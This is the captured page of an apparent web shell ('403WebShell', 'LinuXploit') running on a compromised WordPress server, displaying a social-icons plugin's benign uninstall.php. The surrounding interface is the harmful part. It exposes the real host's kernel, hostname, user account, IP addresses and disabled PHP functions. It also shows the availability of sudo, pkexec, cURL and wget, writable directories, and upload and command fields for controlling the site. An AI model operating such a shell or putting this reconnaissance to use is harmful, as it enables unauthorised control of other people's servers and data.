Uname:Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64

Base Dir : /home/nobi37te/public_html

User : nobi37te


403WebShell
403Webshell
Server IP : 172.67.134.116  /  Your IP : 216.73.217.68
Web Server : Apache
System : Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64
User : nobi37te ( 1003)
PHP Version : 8.2.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nobi37te/public_html/wp-content/plugins/easy-social-icons/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nobi37te/public_html/wp-content/plugins/easy-social-icons/uninstall.php
<?php
if (! defined('WP_UNINSTALL_PLUGIN')) {
	exit;
}

global $wpdb;

// 1) Delete every option this plugin ever created
$options_to_delete = [
	'cnss-width',
	'cnss-height',
	'cnss-margin',
	'cnss-row-count',
	'cnss-vertical-horizontal',
	'cnss-text-align',
	'cnss-social-profile-links',
	'cnss-social-profile-type',
	'cnss-icon-bg-color',
	'cnss-icon-bg-hover-color',
	'cnss-icon-color',
	'cnss-icon-hover-color',
	'cnss-icon-shape',
	'cnss-icon-animation',
	'cnss-original-icon-color',
	'cnss-icon-name-show',
	'cnss-icon-name-font-color',
	'cnss-icon-name-font-size',
	'cnss-icon-floating-option'
];

foreach ($options_to_delete as $opt) {
	delete_option($opt);
}

// 2) Drop our custom tables
$wpdb->query("DROP TABLE IF EXISTS {$wpdb->prefix}cn_social_icon");
$wpdb->query("DROP TABLE IF EXISTS {$wpdb->prefix}cn_social_share_post");

// 3) If multisite, repeat for each blog
if (is_multisite()) {
	$sites = get_sites();
	foreach ($sites as $site) {
		switch_to_blog($site->blog_id);
		foreach ($options_to_delete as $opt) {
			delete_option($opt);
		}
		$wpdb->query("DROP TABLE IF EXISTS {$wpdb->prefix}cn_social_icon");
		$wpdb->query("DROP TABLE IF EXISTS {$wpdb->prefix}cn_social_share_post");
		restore_current_blog();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit